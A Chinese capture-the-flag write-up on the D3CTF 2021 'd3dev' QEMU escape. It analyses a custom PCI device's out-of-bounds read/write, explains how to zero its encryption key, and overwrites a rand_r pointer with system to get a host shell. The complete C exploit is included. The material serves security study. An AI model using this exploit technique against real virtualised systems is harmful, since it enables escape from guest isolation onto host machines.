0x00 前言[出自:jiwo.org]
解压出来是一个docker环境,将rootfs用binwalk解压,看一下启动脚本,给的root权限,应该是虚拟机逃逸题了。
#!/bin/sh
mkdir /tmp
mount -t tmpfs none /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
mdev -s
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "Interactive mode\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即为root
umount /proc
umount /sys
poweroff -d 0 -f
这题当时比赛的时没有做出来(主要是去玩某个新玩具了,也没做过这类题目,所以就没继续做下去)。 最后在github上找到的一个6小时前创建的叫d3ctf-2021-pwn-d3dev的仓库,据Readme来看应该是出题人发的,简单的讲了一下解题思路,丢了个exp,于是我也跟着分析、复现了一次,顺便也写个文章记录一下~
0x01 前置知识
1. Qemu
qemu的基本就是模拟了CPU、内存、I/O设备以及其他设备,如果开启了kvm,kvm会实现CPU以及内存的虚拟。 CTF的qemu逃逸类题目基本上都是直接修改了qemu的源码,在这题里面,出题人在qemu里添加了一个pci设备,解题思路是通过设备中的漏洞以此获取host机上的flag qemu的详细实现原理因为有大佬详细讲过了,想要了解的可以在文末找到相关主题链接自行阅读。
2. PCI设备
与qemu的虚拟设备进行I/O交互通常有以下两种方式,分别是MMIO和PMIO,区别在于是否与设备共享内存,在这题里面我们两种都有用到。
(1) 内存映射(MMIO)
这种方法简单来讲就是直接操作I/O设备的共享内存空间,以此来交互,实现方法就是直接调用mmap映射内存,然后直接通过指针读写。
mmap的fd参数为open以下两个文件之一,flags参数需要传递MAP_SHARED属性。
a.设备内存据说(据说有些题目用不到这种): /sys/devices/pci0000:00/0000:00:??.?/resource0
b. 整个物理内存: /dev/mem
(2) 端口映射(PMIO)(resource1)
不共享内存空间,需要调用inx和outx函数来进行交互(要先调用iopl(3)来提权)
0x02 漏洞分析
直接把qemu丢进IDA分析,然后看一下qemu的启动脚本,可以看到有个device参数后面跟了个d3dev,这应该就是漏洞所在的设备名。
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
因为qemu二进制文件里有DWARF(调试信息),所以直接通过搜索函数名来定位相关函数是可以的,这里还有一种方法是从_start开始逐步跟下去找到初始化表,然后定位pci设备的注册表。
具体流程: _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types 找到虚拟设备的info表后,我们可以定位到设备的初始化函数d3dev_class_init。
在函数d3dev_class_init里,我们可以找到设备的vendor_id和device_id,这两个值在后面查询pci设备的时候会用到,这里我们先记下来。
void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass_0 *v2; // rax
v2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(
a1,
(const char *)&env.tlb_table[1][115]._anon_0.dummy[31],
"/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",
229,
"d3dev_class_init");
v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;
v2->exit = 0LL;
*(_DWORD *)&v2->vendor_id = 0x11E82333; // vendor=2333 device=11E8
v2->revision = 0x10;
v2->class_id = 0xFF;
}
跟进pci_d3dev_realize函数里,这里分别定义了设备的两种I/O交互操作函数(即mmio和pmio)以及共享区域的大小(mmio为0x800),以便qemu检查是否越界。
void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp)
{
memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);
pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);
pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}
在d3dev_mmio_ops和d3dev_pmio_ops两个结构体里面,可以找到对应的read、write函数: d3dev_mmio_read、d3dev_mmio_write和d3dev_pmio_read、d3dev_pmio_write 这四个。
.data.rel.ro:0000000000B78980 d3dev_mmio_ops dq offset d3dev_mmio_read; read
.data.rel.ro:0000000000B78980 dq offset d3dev_mmio_write; write
...
.data.rel.ro:0000000000B78920 d3dev_pmio_ops dq offset d3dev_pmio_read; read
.data.rel.ro:0000000000B78920 dq offset d3dev_pmio_write; write
逐个函数分析,我们可以看到d3dev_mmio_write函数里面有一个任意写:
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
...
if ( size == 4 )
{
offset = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
... // 这部分后文会细讲
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[offset] = (unsigned int)val;// 任意写
}
}
}
通过查看结构体我们可以发现blocks的大小刚好是0x800,也就是我们共享内存的区域,在这里我们有val、addr可控,但实际上不能通过直接控制addr来溢出,因为PCI设备在内部会检查这个地址是否越界。 这里其实seek的值也是可控的,具体在d3dev_pmio_write函数里,控制seek我们就可以利用这个任意写漏洞。(注意这里是通过index的方式访问内存,数组元素大小为8字节)
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val; // 控制seek
}
...
}
这里我们可以看到val值可以是0-0x100之间的任意值,相当于可以溢出控制0x800大小的内存。
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
...
data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];// 任意读
low = data;
high = HIDWORD(data);
... // 这里做了异或加密,后面会提到,这里省略
return high;
}
继续分析其他函数,我们可以看到d3dev_mmio_read函数里其实还有任意读漏洞,分析到这里我们就有了任意读写d3devState这个结构体附近的内存。 现在我们接着分析,看看有什么地方可以利用来执行system("sh")。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
...
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val; // "sh"
key = opaque->key;
do
*key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// system
&opaque->r_seed,
28LL,
val,
*(_QWORD *)&size);
while ( key != (uint32_t *)&opaque->rand_r );
}
}
...
}
还是d3dev_pmio_write这个函数里(前文对这个函数的这部分进行了省略),通过rand_r指针调用了函数,函数的首个参数是r_seed,r_seed这个值我们可以直接通过val控制(这里直接写字符串"sh"即可),而rand_r的值需要我们用任意写来修改(改成system的地址),这样我们就成功获取了宿主机的shell。
0x03 编写exp
-
加解密流程
前面在讲任意读、写漏洞的时候我们省略了加解密的过程,这里简单的说一下,我们先分析d3dev_mmio_read函数:
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t data; // rax
unsigned int i; // esi
unsigned int low; // ecx
uint64_t high; // rax
...
i = 0xC6EF3720;
low = data; // data为seek和addr控制的指针指向的8字节数据
high = HIDWORD(data);
do
{
LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));// low << 4 <=> 16 * low
low -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);
i += 0x61C88647;
}
while ( i );
...
return high;
}
我们读出数据的时候数据被进行了异或加密的处理,其中16low这里算一下相当于左移4位(直接看汇编也可以)。
其次是这里用到了结构体里面的key数组,通过分析可以知道这个key参数实际上是可控的,通过调用d3dev_pmio_write函数可以*直接清零整个key数组。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
...
}
else if ( addr > 8 )
{
...
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL; // key[0] = key[1] = 0
*(_QWORD *)&opaque->key[2] = 0LL; // key[2] = key[3] = 0
}
}
else
{
...
}
}
在这里我们可以看到ida的反汇编结果有一个类型强转,0是64位,而key则是有4个32位元素的数组,这两行操作相当于清零了整个key数组。 至于这个函数里对数据的解密实际上只是加密的逆操作(就是F5出来难看了点),不详细讨论。
2. 计算seek值
由于我们需要把rand_r的地址覆盖成system的地址,接下来我们需要计算共享内存开始到rand_r的偏移。
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends
从前面任意写漏洞我们可以知道blocks即使我们共享内存的区域,从blocks到rand_r的偏移是0x818,blocks是8字节数组,计算0x818/8=0x103也就是数组的index值,我们可以直接把seek的值设置成0x100,然后将addr往后偏移3*8=24个字节即可对rand_r进行修改。
3. 获取基址
设备的pci地址我们可以直接通过执行指令lspci来查看:
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 00ff: 2333:11e8
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
通过开头记下的vendor_id和device_id我们可以看出00:03.0对应的就是d3dev设备pci,然后通过cat /sys/devices/pci0000:00/0000:00:03.0/resource可以找到mmio和pmio的基址。
# cat /sys/devices/pci0000:00/0000:00:03.0/resource
0x00000000febf1000 0x00000000febf17ff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
febf1000即为mmio基址,c040即为pmio基址。
0x04 测试exp
这题由于可以直接通过静态分析的结果写出exp,故省略gdb调试qemu环节。(其实主要因为我不会调试docker里的qemu,有大佬知道可以留言)
exp可以通过两种方法传到客户机,分别是直接通过python脚本压缩然后b64上传(远程),或者直接修改rootfs然后重新打包回去。 这里介绍第二种方法,为了方便测试我们可以直接写一个Makefile。
exp:
musl-gcc exp.c -o exp --static -Os
strip -s exp
find . | cpio -H newc -ov -F ../rootfs.cpio
rm exp
之后我们直接cd到rootfs然后make即可,记得也要修改一下launch.sh,将rootfs.img改为rootfs.cpio。
然后根据题目readme重新打包docker镜像、运行即可。 至于第一种方法,基本上脚本都一样的写法,没什么好说的。
0x05 完整exp
脚本可以在文末我的Github仓库里下载。
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#define libc_system_offset 0x55410
#define libc_rand_r_offset 0x4aeb0
const uint32_t mmio_phy_base = 0xfebf1000;
const uint32_t mmio_mem_size = 0x800;
const uint32_t pmio_phy_base = 0xc040;
const char sys_mem_file[] = "/dev/mem";
uint64_t mmio_mem = 0x0;
int die(const char *err_info){
printf("[-] Exit with: %s\n.", err_info);
exit(-1);
}
void *mmap_file(const char *filename, uint32_t size, uint32_t offset){
int fd = open(filename, O_RDWR|O_SYNC);
if(fd<0){
printf("[-] Can not open file: '%s'.\n", filename);
die("OPEN ERROR!");
}
void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
if(ptr==MAP_FAILED){
printf("[-] Can not mmap file: '*%s'.\n", filename);
die("MMAP ERROR!");
}
close(fd);
return ptr;
}
//mmio op
void mmio_write(uint64_t addr, uint64_t val){
*(uint64_t *)(mmio_mem+addr) = val;
}
uint64_t mmio_read(uint64_t addr){
return *(uint64_t *)(mmio_mem+addr);
}
//pmio op
void pmio_write(uint32_t addr, uint32_t val){
outl(val, pmio_phy_base+addr);
}
uint32_t pmio_read(uint32_t addr){
return inl(pmio_phy_base+addr);
}
void decode(uint32_t v[2]){
uint32_t i = 0;
do{
i -= 0x61C88647;
v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
} while(i!=0xC6EF3720);
}
void encode(uint32_t v[2]){
uint32_t i = 0xC6EF3720;
do{
v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
i += 0x61C88647;
} while(i);
}
int main(){
mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);
printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));
if(iopl(3)) die("PMIO PERMISSION ERROR!");
pmio_write(0, 1); // memory_mode = 1
pmio_write(4, 0); // key[0-3] = 0
pmio_write(8, 0x100); // seek = 0x100
printf("[*] Set block seek: %#x.\n", pmio_read(8));
uint64_t glibc_randr = mmio_read(24);
decode(&glibc_randr);
printf("[*] rand_r@glibc %#lx.\n", glibc_randr);
uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;
printf("[+] system@glibc: %#lx.\n", glibc_system);
encode(&glibc_system);
printf("[*] Overwrite rand_r ptr.\n");
mmio_write(24, glibc_system);
pmio_write(28, 0x6873); // "sh"
return 0;
}
0x06 exp运行结果
不出意外执行结果是这样的,我们成功获取到了host的shell: